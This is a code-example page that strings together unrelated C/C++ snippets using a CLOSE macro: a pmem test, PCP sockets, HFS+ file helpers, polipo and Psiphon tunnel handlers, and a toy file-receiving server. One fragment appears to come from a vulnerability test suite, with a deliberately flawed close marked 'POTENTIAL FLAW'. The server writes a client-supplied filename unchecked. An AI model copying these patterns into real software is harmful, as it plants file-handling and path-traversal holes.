        if (fileDesc != -1)
        {
            CLOSE(fileDesc);
        }
    }
}
/* goodB2G() uses the BadSource with the GoodSink */
void goodB2GSource(int &data)
{
    data = OPEN("BadSource_open.txt", O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
    /* POTENTIAL FLAW: Close the file in the source */
    CLOSE(data);
}
Exemple #24
0
int
main(int argc, char *argv[])
{
	START(argc, argv, "pmem_map");

	if (argc != 2)
		FATAL("usage: %s file", argv[0]);

	/* arrange to catch SEGV */
	struct sigaction v;
	sigemptyset(&v.sa_mask);
	v.sa_flags = 0;
	v.sa_handler = signal_handler;
	SIGACTION(SIGSEGV, &v, NULL);

	int fd;
	void *addr;

	fd = OPEN(argv[1], O_RDWR);

	struct stat stbuf;
	FSTAT(fd, &stbuf);

	char pat[CHECK_BYTES];
	char buf[CHECK_BYTES];

	addr = pmem_map(fd);
	if (addr == NULL) {
		OUT("!pmem_map");
		goto err;
	}

	/* write some pattern to the file */
	memset(pat, 0x5A, CHECK_BYTES);
	WRITE(fd, pat, CHECK_BYTES);


	if (memcmp(pat, addr, CHECK_BYTES))
		OUT("%s: first %d bytes do not match",
			argv[1], CHECK_BYTES);

	/* fill up mapped region with new pattern */
	memset(pat, 0xA5, CHECK_BYTES);
	memcpy(addr, pat, CHECK_BYTES);

	pmem_unmap(addr, stbuf.st_size);

	if (!sigsetjmp(Jmp, 1)) {
		/* same memcpy from above should now fail */
		memcpy(addr, pat, CHECK_BYTES);
	} else {
		OUT("unmap successful");
	}

	LSEEK(fd, (off_t)0, SEEK_SET);
	if (READ(fd, buf, CHECK_BYTES) == CHECK_BYTES) {
		if (memcmp(pat, buf, CHECK_BYTES))
			OUT("%s: first %d bytes do not match",
				argv[1], CHECK_BYTES);
	}

	CLOSE(fd);

	/* re-open the file with read-only access */
	fd = OPEN(argv[1], O_RDONLY);

	addr = pmem_map(fd);
	if (addr != NULL) {
		MUNMAP(addr, stbuf.st_size);
		OUT("expected pmem_map failure");
	}

err:
	CLOSE(fd);

	DONE(NULL);
}
Exemple #25
0
static PCP_SOCKET pcp_socket_create_impl(int domain, int type, int protocol)
{
#ifdef PCP_SOCKET_IS_VOIDPTR
    return PCP_INVALID_SOCKET;
#else
    PCP_SOCKET s;
    uint32_t flg;
    unsigned long iMode=1;
    struct sockaddr_storage sas;
    struct sockaddr_in *sin=(struct sockaddr_in *)&sas;
    struct sockaddr_in6 *sin6=(struct sockaddr_in6 *)&sas;

    OSDEP(iMode);
    OSDEP(flg);

    memset(&sas, 0, sizeof(sas));
    sas.ss_family=domain;
    if (domain == AF_INET) {
        sin->sin_port=htons(5350);
        SET_SA_LEN(sin, sizeof(struct sockaddr_in));
    } else if (domain == AF_INET6) {
        sin6->sin6_port=htons(5350);
        SET_SA_LEN(sin6, sizeof(struct sockaddr_in6));
    } else {
        PCP_LOG(PCP_LOGLVL_ERR, "Unsupported socket domain:%d", domain);
    }

    s=(PCP_SOCKET)socket(domain, type, protocol);
    if (s == PCP_INVALID_SOCKET)
        return PCP_INVALID_SOCKET;

#ifdef WIN32
    if (ioctlsocket(s, FIONBIO, &iMode)) {
        PCP_LOG(PCP_LOGLVL_ERR, "%s",
                "Unable to set nonblocking mode for socket.");
        CLOSE(s);
        return PCP_INVALID_SOCKET;
    }
#else
    flg=fcntl(s, F_GETFL, 0);
    if (fcntl(s, F_SETFL, flg | O_NONBLOCK)) {
        PCP_LOG(PCP_LOGLVL_ERR, "%s",
                "Unable to set nonblocking mode for socket.");
        CLOSE(s);
        return PCP_INVALID_SOCKET;
    }
#endif
#ifdef PCP_USE_IPV6_SOCKET
    flg=0;
    if (PCP_SOCKET_ERROR
            == setsockopt(s, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&flg,
                          sizeof(flg))) {
        PCP_LOG(PCP_LOGLVL_ERR, "%s",
                "Dual-stack sockets are not supported on this platform. "
                "Recompile library with disabled IPv6 support.");
        CLOSE(s);
        return PCP_INVALID_SOCKET;
    }
#endif //PCP_USE_IPV6_SOCKET
    while (bind(s, (struct sockaddr *)&sas,
                SA_LEN((struct sockaddr *)&sas)) == PCP_SOCKET_ERROR) {
        if (pcp_get_error() == PCP_ERR_ADDRINUSE) {
            if (sas.ss_family == AF_INET) {
                sin->sin_port=htons(ntohs(sin->sin_port) + 1);
            } else {
                sin6->sin6_port=htons(ntohs(sin6->sin6_port) + 1);
            }
        } else {
            PCP_LOG(PCP_LOGLVL_ERR, "%s", "bind error");
            CLOSE(s);
            return PCP_INVALID_SOCKET;
        }
    }
    PCP_LOG(PCP_LOGLVL_DEBUG, "%s: return %d", __FUNCTION__, s);
    return s;
#endif
}
Exemple #26
0
ExtentList* fs_get_extents(int device, int partition, const char* fileName) {
	unsigned int partitionStart;
	unsigned int physBlockSize;
	ExtentList* list = NULL;

	bdevfs_device_t *dev = bdevfs_open(device, partition);
	if(!dev)
		return NULL;

	physBlockSize = block_device_block_size(dev->handle->device);
	partitionStart = block_device_get_start(dev->handle);

	HFSPlusCatalogRecord* record = getRecordFromPath(fileName, dev->volume, NULL, NULL);

	if(record != NULL) {
		if(record->recordType == kHFSPlusFileRecord) {
			io_func* fileIO;
			HFSPlusCatalogFile* file = (HFSPlusCatalogFile*) record;
			unsigned int allocationBlockSize = dev->volume->volumeHeader->blockSize;
			int numExtents = 0;
			Extent* extent;
			int i;

			fileIO = openRawFile(file->fileID, &file->dataFork, record, dev->volume);
			if(!fileIO)
				goto out_free;

			extent = ((RawFile*)fileIO->data)->extents;
			while(extent != NULL)
			{
				numExtents++;
				extent = extent->next;
			}

			list = (ExtentList*) malloc(sizeof(ExtentList));
			list->numExtents = numExtents;

			extent = ((RawFile*)fileIO->data)->extents;
			for(i = 0; i < list->numExtents; i++)
			{
				list->extents[i].startBlock = partitionStart + (extent->startBlock * (allocationBlockSize / physBlockSize));
				list->extents[i].blockCount = extent->blockCount * (allocationBlockSize / physBlockSize);
				extent = extent->next;
			}

			CLOSE(fileIO);
		} else {
			goto out_free;
		}
	} else {
		goto out_close;
	}

out_free:
	free(record);

out_close:
	bdevfs_close(dev);

	return list;
}
Exemple #27
0
void 
do_tunnel(int fd, char *buf, int offset, int len, AtomPtr url)
{
    TunnelPtr tunnel;
    int port;
    char *p, *q;

    tunnel = makeTunnel(fd, buf, offset, len);
    if(tunnel == NULL) {
        do_log(L_ERROR, "Couldn't allocate tunnel.\n");
        releaseAtom(url);
        dispose_chunk(buf);
        CLOSE(fd);
        return;
    }

    if(proxyOffline) {
        do_log(L_INFO, "Attemted CONNECT when disconnected.\n");
        releaseAtom(url);
        tunnelError(tunnel, 502,
                    internAtom("Cannot CONNECT when disconnected."));
        return;
    }

    p = memrchr(url->string, ':', url->length);
    q = NULL;
    if(p)
        port = strtol(p + 1, &q, 10);
    if(!p || q != url->string + url->length) {
        do_log(L_ERROR, "Couldn't parse CONNECT.\n");
        releaseAtom(url);
        tunnelError(tunnel, 400, internAtom("Couldn't parse CONNECT"));
        return;
    }
    tunnel->hostname = internAtomLowerN(url->string, p - url->string);
    if(tunnel->hostname == NULL) {
        releaseAtom(url);
        tunnelError(tunnel, 501, internAtom("Couldn't allocate hostname"));
        return;
    }

    if(!intListMember(port, tunnelAllowedPorts)) {
        releaseAtom(url);
        tunnelError(tunnel, 403, internAtom("Forbidden port"));
        return;
    }
    tunnel->port = port;
#ifndef NO_FORBIDDEN
    if (tunnelIsMatched(url->string, url->length, 
			tunnel->hostname->string, tunnel->hostname->length)) {
        releaseAtom(url);
        tunnelError(tunnel, 404, internAtom("Forbidden tunnel"));
	logTunnel(tunnel,1);
        return;
    }
#endif
    
    logTunnel(tunnel,0);
    
    releaseAtom(url);

    if(socksParentProxy)
        do_socks_connect(parentHost ?
                         parentHost->string : tunnel->hostname->string,
                         parentHost ? parentPort : tunnel->port,
                         tunnelSocksHandler, tunnel);
    else
        do_gethostbyname(parentHost ?
                         parentHost->string : tunnel->hostname->string, 0,
                         tunnelDnsHandler, tunnel);
}
Exemple #28
0
void
do_tunnel(int fd, char *buf, int offset, int len, AtomPtr url)
{
    TunnelPtr tunnel;
    int port;
    char *p, *q;

    /* PSIPHON */
    if(psiphonStats)
    {
        /* Update the page view stats by printf-ing the URI. Our stdout is piped to
           the client process. */
        printf("PSIPHON-PAGE-VIEW-HTTPS:>>%s<<\n", url->string);
        fflush(NULL);
    }
    /* /PSIPHON */

    tunnel = makeTunnel(fd, buf, offset, len);
    if(tunnel == NULL) {
        do_log(L_ERROR, "Couldn't allocate tunnel.\n");
        releaseAtom(url);
        dispose_chunk(buf);
        CLOSE(fd);
        return;
    }

    if(proxyOffline) {
        do_log(L_INFO, "Attemted CONNECT when disconnected.\n");
        releaseAtom(url);
        tunnelError(tunnel, 502,
                    internAtom("Cannot CONNECT when disconnected."));
        return;
    }

    p = memrchr(url->string, ':', url->length);
    q = NULL;
    if(p)
        port = strtol(p + 1, &q, 10);
    if(!p || q != url->string + url->length) {
        do_log(L_ERROR, "Couldn't parse CONNECT.\n");
        releaseAtom(url);
        tunnelError(tunnel, 400, internAtom("Couldn't parse CONNECT"));
        return;
    }
    tunnel->hostname = internAtomLowerN(url->string, p - url->string);
    if(tunnel->hostname == NULL) {
        releaseAtom(url);
        tunnelError(tunnel, 501, internAtom("Couldn't allocate hostname"));
        return;
    }

    /* PSIPHON
       Checking if tunnel is allowed on a particular port is not needed if the
       proxy accepts connections made only from localhost */
    /*
    if(!intListMember(port, tunnelAllowedPorts)) {
        releaseAtom(url);
        tunnelError(tunnel, 403, internAtom("Forbidden port"));
        return;
    }
    */
    /* /PSIPHON */

    tunnel->port = port;

    if (tunnelIsMatched(url->string, url->length,
			tunnel->hostname->string, tunnel->hostname->length)) {
        releaseAtom(url);
        tunnelError(tunnel, 404, internAtom("Forbidden tunnel"));
	logTunnel(tunnel,1);
        return;
    }

    logTunnel(tunnel,0);

    releaseAtom(url);

    /* PSIPHON split tunneling option*/
    /* This was the original:
    if(socksParentProxy)
        do_socks_connect(parentHost ?
                         parentHost->string : tunnel->hostname->string,
                         parentHost ? parentPort : tunnel->port,
                         tunnelSocksHandler, tunnel);
    */
    if(socksParentProxy) {
        if(splitTunneling)
        {
            do_gethostbyname_socks(parentHost ?
                    parentHost->string : tunnel->hostname->string, 0,
                    tunnelSplitTunnelingDnsHandler, tunnel);
        }
        else
        {
            do_socks_connect(parentHost ?
                    parentHost->string : tunnel->hostname->string,
                    parentHost ? parentPort : tunnel->port,
                    tunnelSocksHandler, tunnel);
        }
    }
    /* /PSIPHON */
    else
        do_gethostbyname(parentHost ?
                         parentHost->string : tunnel->hostname->string, 0,
                         tunnelDnsHandler, tunnel);
}
Exemple #29
0
int removeFile(const char* fileName, Volume* volume) {
  HFSPlusCatalogRecord* record;
  HFSPlusCatalogKey key;
  io_func* io;
  HFSPlusCatalogFolder* parentFolder;

  record = getRecordFromPath3(fileName, volume, NULL, &key, TRUE, FALSE, kHFSRootFolderID);
  if(record != NULL) {
    parentFolder = (HFSPlusCatalogFolder*) getRecordByCNID(key.parentID, volume);
    if(parentFolder != NULL) {
	if(parentFolder->recordType != kHFSPlusFolderRecord) {
		ASSERT(FALSE, "parent not folder");
		free(parentFolder);
		return FALSE;
	}
    } else {
	ASSERT(FALSE, "can't find parent");
	return FALSE;
    }

    if(record->recordType == kHFSPlusFileRecord) {
      io = openRawFile(((HFSPlusCatalogFile*)record)->fileID, &((HFSPlusCatalogFile*)record)->dataFork, record, volume);
      allocate((RawFile*)io->data, 0);
      CLOSE(io);

      removeFromBTree(volume->catalogTree, (BTKey*)(&key));
      
      key.nodeName.length = 0;
      key.parentID = ((HFSPlusCatalogFile*)record)->fileID;
      key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length);
      removeFromBTree(volume->catalogTree, (BTKey*)(&key));
      
      volume->volumeHeader->fileCount--;
    } else {
      if(((HFSPlusCatalogFolder*)record)->valence > 0) {
		free(record);
		free(parentFolder);
		ASSERT(FALSE, "folder not empty");
        return FALSE;
      } else {
        removeFromBTree(volume->catalogTree, (BTKey*)(&key));
        
        key.nodeName.length = 0;
        key.parentID = ((HFSPlusCatalogFolder*)record)->folderID;
        key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length);
        removeFromBTree(volume->catalogTree, (BTKey*)(&key));
      }
      
	  parentFolder->folderCount--;
      volume->volumeHeader->folderCount--;
    }
    parentFolder->valence--;
    updateCatalog(volume, (HFSPlusCatalogRecord*) parentFolder);
    updateVolume(volume);

	free(record);
	free(parentFolder);
	
    return TRUE;
  } else {
	free(parentFolder);
	ASSERT(FALSE, "cannot find record");
    return FALSE;
  }
}
Exemple #30
0
/****************************************************
 * Function: cbInit
 * Description:
 ***************************************************/
int main(int argc, char *argv[])
{
	int call = 0;
	unsigned int         server_s;        // Server socket descriptor
	unsigned int         connect_s;       // Connection socket descriptor
	char                 in_buf[BUFFER_SIZE];     // BUFFER_SIZE-byte input buffer for data
	unsigned int         bytes_recv=0;    // Gauge number of bytes received
	int 								remaining;
	struct sockaddr_in server_addr;
	socklen_t addr_len;
	struct sockaddr_in client_addr;
	FILE *fp;

	struct
	{
		unsigned int size;
		char name[20];
	} in_meta;

	if(argc!=2)
	{
		perror("Format ftps <Port-num>\n");
		return 1;
	}


	server_s = SOCKET(AF_INET, SOCK_STREAM, 0);

	/*START:Fill-in my socket's address information and bind the socket*/
	server_addr.sin_family      = AF_INET;            // Address family to use
	server_addr.sin_port        = htons(atoi(argv[1]));    // Port number to use
	server_addr.sin_addr.s_addr = htonl(INADDR_ANY);  // Listen on any IP address

	if(BIND(server_s, (struct sockaddr *)&server_addr, sizeof(server_addr))!=0)
	{
		perror("Binding failure \n");
		return 1;
	}
	/*END:Fill-in my socket's address information and bind the socket*/

	/*START:Establish TCP connection with the client*/
	if((connect_s = ACCEPT(server_s, (struct sockaddr *)&client_addr, &addr_len))==-1)
	{
		perror("Accept failure \n");
		return 1;
	}
	/*END:Establish TCP connection with the client*/

	/*START:Start Receiving meta data using RECV*/
	bytes_recv = RECV (connect_s, in_buf, BUFFER_SIZE , 0); //receive the metadata of the file
	if(bytes_recv==-1)
	{
		perror("Error receiving");
		return 1;
	}
	printf("count:%u\n",call);
	call++;
	memcpy(&in_meta,in_buf,sizeof(in_meta));
	printf("size is %d\n",in_meta.size);
	remaining = in_meta.size;
	printf("Name is %s\n",in_meta.name);
	/*END:Start Receiving meta data using RECV*/

	/*START:Create a file with received name*/
	fp=fopen(in_meta.name,"w");
	if(fp==NULL)
	{
		perror("Cannot Create file");
		return 1;
	}
	/*END:Create a file with received name*/

	/*START:Receive file data using UDP RECV*/
	while(remaining>0)
	{
		bytes_recv = RECV (connect_s, in_buf, BUFFER_SIZE , 0);
		if(bytes_recv==-1)
		{
			perror("Error receiving");
			return 1;
		}
		printf("count:%u\n",call);
		call++;
		remaining = remaining - fwrite(in_buf, 1,(remaining<BUFFER_SIZE?remaining:BUFFER_SIZE) , fp);
	}
	printf("File Received %s\n",in_meta.name);
	/*START:Receive file data using UDP RECV*/

	fclose(fp);
	CLOSE(connect_s);
	CLOSE(server_s);
	return 0;
}